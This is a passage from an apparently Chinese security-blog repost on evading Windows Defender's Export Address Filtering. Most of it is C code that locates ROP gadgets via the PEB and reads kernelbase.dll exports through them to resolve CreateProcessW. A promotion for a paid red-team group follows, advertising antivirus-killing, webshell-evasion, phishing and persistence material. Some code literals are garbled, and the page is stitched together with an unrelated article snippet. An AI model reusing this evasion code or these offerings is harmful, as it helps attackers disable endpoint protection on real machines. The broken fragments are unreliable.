(PIMAGE_NT_HEADERS)((DWORD_PTR)module + pImgDOSHead->e_lfanew);&nbsp; &nbsp;&nbsp;int&nbsp;i;&nbsp; &nbsp;&nbsp;// find .text section&nbsp; &nbsp;&nbsp;for&nbsp;(i =&nbsp;0; i < pImgNTHead->FileHeader.NumberOfSections; i++) {&nbsp; &nbsp; &nbsp; &nbsp; PIMAGE_SECTION_HEADER pImgSectionHead = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(pImgNTHead) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;char&nbsp;text_section[] = {&nbsp;'.','t','e','x','t',0&nbsp;};&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!help_strcmp_f((char*)pImgSectionHead->Name, text_section)) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;void* module_text_segment = (char*)module + pImgSectionHead->VirtualAddress;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;int&nbsp;module_size = pImgSectionHead->Misc.VirtualSize;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;int&nbsp;offset =&nbsp;0;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;char* gadget_return;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;char* negative;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; gadget_return = (char*)module_text_segment + find_mov_qword_ptr_req(module_text_segment, module_size, &offset, &negative);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *gadget_offset = offset;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *gadget_negative = negative;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(gadget_return == module_text_segment) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// If the offset returned is zero then it means the gadget is not in the specified address range&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// We do this in case we would want to loop through others&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *gadget =&nbsp;NULL;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *gadget = gadget_return;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }}short&nbsp;int&nbsp;find_write_gadget(rop_gadget* gadget) {&nbsp; &nbsp; PPEB peb =&nbsp;NULL;#if&nbsp;defined(_WIN64)&nbsp; &nbsp; peb = (PPEB)__readgsqword(0x60);#else&nbsp; &nbsp; peb = (PPEB)__readfsdword(0x30);#endif&nbsp; &nbsp; PPEB_LDR_DATA ldr = peb->Ldr;&nbsp; &nbsp; LIST_ENTRY list = ldr->InLoadOrderModuleList;&nbsp; &nbsp; PLDR_DATA_TABLE_ENTRY Flink = *((PLDR_DATA_TABLE_ENTRY*)(&list));&nbsp; &nbsp; PLDR_DATA_TABLE_ENTRY curr_module = Flink;&nbsp; &nbsp;&nbsp;while&nbsp;(curr_module !=&nbsp;NULL&nbsp;&& curr_module->BaseAddress !=&nbsp;NULL) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(curr_module->BaseDllName.Buffer ==&nbsp;NULL)&nbsp;continue;&nbsp; &nbsp; &nbsp; &nbsp; size_t module_address = curr_module->BaseAddress;&nbsp; &nbsp; &nbsp; &nbsp; rop_gadget temp_gadget;&nbsp; &nbsp; &nbsp; &nbsp; SecureZeroMemory(&temp_gadget,&nbsp;sizeof(temp_gadget));&nbsp; &nbsp; &nbsp; &nbsp; find_write_gadget_module(module_address, &temp_gadget.Address, &temp_gadget.Offset, &temp_gadget.Negative);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(temp_gadget.Address !=&nbsp;NULL) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; gadget->Address = temp_gadget.Address;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; gadget->Offset = temp_gadget.Offset;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; gadget->Negative = temp_gadget.Negative;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;1;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; curr_module = (PLDR_DATA_TABLE_ENTRY)curr_module->InLoadOrderModuleList.Flink;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;return&nbsp;0;}inline&nbsp;LPVOID help_GetModuleHandle(WCHAR* module_name) {&nbsp; &nbsp; PPEB peb =&nbsp;NULL;#if&nbsp;defined(_WIN64)&nbsp; &nbsp; peb = (PPEB)__readgsqword(0x60);#else&nbsp; &nbsp; peb = (PPEB)__readfsdword(0x30);#endif&nbsp; &nbsp; PPEB_LDR_DATA ldr = peb->Ldr;&nbsp; &nbsp; LIST_ENTRY list = ldr->InLoadOrderModuleList;&nbsp; &nbsp; PLDR_DATA_TABLE_ENTRY Flink = *((PLDR_DATA_TABLE_ENTRY*)(&list));&nbsp; &nbsp; PLDR_DATA_TABLE_ENTRY curr_module = Flink;&nbsp; &nbsp;&nbsp;while&nbsp;(curr_module !=&nbsp;NULL&nbsp;&& curr_module->BaseAddress !=&nbsp;NULL) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(curr_module->BaseDllName.Buffer ==&nbsp;NULL)&nbsp;continue;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;wchar_t* curr_name = curr_module->BaseDllName.Buffer;&nbsp; &nbsp; &nbsp; &nbsp; size_t i =&nbsp;0;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;(i =&nbsp;0; module_name[i] !=&nbsp;0&nbsp;&& curr_name[i] !=&nbsp;0; i++) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;wchar_t&nbsp;c1, c2;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; TO_LOWERCASE(c1, module_name[i]);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; TO_LOWERCASE(c2, curr_name[i]);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(c1 != c2)&nbsp;break;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(module_name[i] ==&nbsp;0&nbsp;&& curr_name[i] ==&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;//found&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;curr_module->BaseAddress;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// not found, try next:&nbsp; &nbsp; &nbsp; &nbsp; curr_module = (PLDR_DATA_TABLE_ENTRY)curr_module->InLoadOrderModuleList.Flink;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;return&nbsp;NULL;}inline&nbsp;void* help_GetProcAddress(LPVOID module,&nbsp;char* func_name, rop_gadget* gadget){&nbsp; &nbsp; IMAGE_DOS_HEADER* idh = (IMAGE_DOS_HEADER*)module;&nbsp; &nbsp;&nbsp;if&nbsp;(idh->e_magic != IMAGE_DOS_SIGNATURE) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;NULL;&nbsp; &nbsp; }&nbsp; &nbsp; IMAGE_NT_HEADERS* nt_headers = (IMAGE_NT_HEADERS*)((BYTE*)module + idh->e_lfanew);&nbsp; &nbsp; IMAGE_DATA_DIRECTORY* exportsDir = &(nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]);&nbsp; &nbsp;&nbsp;if&nbsp;(exportsDir->VirtualAddress ==&nbsp;NULL) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;NULL;&nbsp; &nbsp; }&nbsp; &nbsp; DWORD expAddr = exportsDir->VirtualAddress;&nbsp; &nbsp; IMAGE_EXPORT_DIRECTORY* exp = (IMAGE_EXPORT_DIRECTORY*)(expAddr + (ULONG_PTR)module);&nbsp; &nbsp; SIZE_T namesCount = exp->NumberOfNames;&nbsp; &nbsp;&nbsp;// Accessing values by -> reference will translate to qword ptr [rax] or similar depends on the size&nbsp; &nbsp;&nbsp;// These instruction will trigger the page_guard and jump into the VEH handler by the mitigation&nbsp; &nbsp;&nbsp;// We can access them using the gadgets&nbsp; &nbsp;&nbsp;//getchar();&nbsp; &nbsp; DWORD funcsListRVA = read_primitive_int(gadget->Address, (char*)exp + offsetof(IMAGE_EXPORT_DIRECTORY, AddressOfFunctions), gadget->Offset, gadget->Negative);&nbsp; &nbsp; DWORD funcNamesListRVA = exp->AddressOfNames;&nbsp; &nbsp; DWORD namesOrdsListRVA = exp->AddressOfNameOrdinals;&nbsp; &nbsp;&nbsp;//DWORD funcNamesListRVA = read_primitive_int(gadget->Address,(char *)exp+offsetof(IMAGE_EXPORT_DIRECTORY,AddressOfNames), gadget->Offset, gadget->Negative);&nbsp; &nbsp;&nbsp;//DWORD namesOrdsListRVA = read_primitive_int(gadget->Address,(char *)exp+offsetof(IMAGE_EXPORT_DIRECTORY,AddressOfNameOrdinals), gadget->Offset, gadget->Negative);&nbsp; &nbsp;&nbsp;for&nbsp;(SIZE_T i =&nbsp;0; i < namesCount; i++) {&nbsp; &nbsp; &nbsp; &nbsp; DWORD* nameRVA = (DWORD*)(funcNamesListRVA + (BYTE*)module + i *&nbsp;sizeof(DWORD));&nbsp; &nbsp; &nbsp; &nbsp; WORD* nameIndex = (WORD*)(namesOrdsListRVA + (BYTE*)module + i *&nbsp;sizeof(WORD));&nbsp; &nbsp; &nbsp; &nbsp; DWORD* funcRVA = (DWORD*)(funcsListRVA + (BYTE*)module + (*nameIndex) *&nbsp;sizeof(DWORD));&nbsp; &nbsp; &nbsp; &nbsp; LPSTR curr_name = (LPSTR)(*nameRVA + (BYTE*)module);&nbsp; &nbsp; &nbsp; &nbsp; size_t k =&nbsp;0;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Here we need to remove any array accesses - [k] with our char gadgets&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;(k =&nbsp;0; func_name[k] !=&nbsp;0&nbsp;&& curr_name[k] !=&nbsp;0; k++) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(func_name[k] != curr_name[k])&nbsp;break;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(func_name[k] ==&nbsp;0&nbsp;&& curr_name[k] ==&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;(BYTE*)module + (*funcRVA);&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;return&nbsp;NULL;}int&nbsp;main() {&nbsp; &nbsp;&nbsp;wchar_t&nbsp;kernelbase_dll_name[] = {&nbsp;'k','e','r','n','e','l','b','a','s','e','.','d','l','l',&nbsp;0&nbsp;};&nbsp; &nbsp;&nbsp;wchar_t&nbsp;kernel32_dll_name[] = {&nbsp;'k','e','r','n','e','l','3','2','.','d','l','l',&nbsp;0&nbsp;};&nbsp; &nbsp; rop_gadget read_gadget;&nbsp; &nbsp; SecureZeroMemory(&read_gadget,&nbsp;sizeof(read_gadget));&nbsp; &nbsp; rop_gadget write_gadget;&nbsp; &nbsp; SecureZeroMemory(&write_gadget,&nbsp;sizeof(write_gadget));&nbsp; &nbsp;&nbsp;short&nbsp;int&nbsp;found = find_read_gadget(&read_gadget);&nbsp; &nbsp;&nbsp;if&nbsp;(found ==&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;0;&nbsp; &nbsp; }&nbsp; &nbsp; found = find_write_gadget(&write_gadget);&nbsp; &nbsp;&nbsp;if&nbsp;(found ==&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;0;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;wchar_t&nbsp;cmd_exe_name[] = {&nbsp;'c',&nbsp;'m',&nbsp;'d',&nbsp;'.',&nbsp;'e',&nbsp;'x',&nbsp;'e',' ','/','c',' ','d','i','r',&nbsp;0&nbsp;};&nbsp; &nbsp;&nbsp;char&nbsp;CreateProcessW_char[] = {&nbsp;'C',&nbsp;'r',&nbsp;'e',&nbsp;'a',' t',&nbsp;'e',&nbsp;'P',&nbsp;'r',&nbsp;'o',&nbsp;'c',&nbsp;'e',&nbsp;'s',&nbsp;'s',&nbsp;'W'&nbsp;,&nbsp;0&nbsp;};&nbsp; &nbsp;&nbsp;char&nbsp;GetStdHandle_char[] = {&nbsp;'G',&nbsp;'e',&nbsp;'t',&nbsp;'S',' t',&nbsp;'d',&nbsp;'H',&nbsp;'a',&nbsp;'n',&nbsp;'d',&nbsp;'l',&nbsp;'e',&nbsp;0&nbsp;};&nbsp; &nbsp;&nbsp;char&nbsp;VirtualProtect_char[] = {&nbsp;'V',&nbsp;'i',&nbsp;'r',&nbsp;'t',' u',&nbsp;'a',&nbsp;'l',&nbsp;'P',&nbsp;'r',&nbsp;'o',&nbsp;'t',&nbsp;'e',&nbsp;'c',&nbsp;'t',&nbsp;0&nbsp;};&nbsp; &nbsp; LPVOID kernelbase = help_GetModuleHandle(kernelbase_dll_name);&nbsp; &nbsp; ptrCreateProcessW _CreateProcessW = help_GetProcAddress((HMODULE)kernelbase, (LPSTR)CreateProcessW_char, &read_gadget);&nbsp; &nbsp; getchar();&nbsp; &nbsp;&nbsp;return&nbsp;0;}

0x05 红蓝偶像练习生小圈子

圈子主要研究方向渗透测试、红蓝对抗、钓鱼手法思路、武器化操作,红队工具二开与免杀。圈内不定期分享红队技术文章,攻防经验总结,学习笔记以及自研工具与插件,目前圈子已满200人,欢迎各位进圈子交流学习!

**圈子目前更新相关技术文章:

* HeavenlyBypassAV内部版-轻松免杀各大杀软

  • 冰蝎webshell免杀工具

  • 哥斯拉webshell免杀工具

  • 红队场景下lnk钓鱼Bypass国内AV

  • 1day and 0day POC

  • lnk钓鱼思路视频讲解

  • lnk钓鱼Bypass天擎

  • msi钓鱼

  • chm钓鱼

  • Kill360核晶

  • AV对抗-致盲AV(核晶)

  • 捆绑免杀360

  • kill火绒

  • 火绒6.0内存免杀

  • kill-windows Defender

  • Defender分离免杀

  • Defender知识点

  • HeavenlyProtectionCS内部CS插件

  • EDR对抗思路

  • 进程注入知识点

  • 自启动思路

  • 多种维权手法

  • Fscan免杀核晶

  • QVM解决思路

  • 红队思路-钓鱼环境下小窗口截屏窃取

  • 免杀Todesk/向日葵读取工具

  • 渗透测试文章思路

  • 内网对抗文章思路

  • *还有更多红队思路文章!期待您的加入!!!*


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全天书 Hello888 Hello888《【免杀思路】Defender-EAF机制》

绕过360安全卫士实现维权 网络安全文章

绕过360安全卫士实现维权

文章总结: 本文为推广付费红队圈子的软文广告。标题提及绕过360安全卫士,但正文无技术细节,仅以短视频引流。文中大量罗列付费社群内部资源目录,涵盖杀软与EDR免
评论:0   参与:  0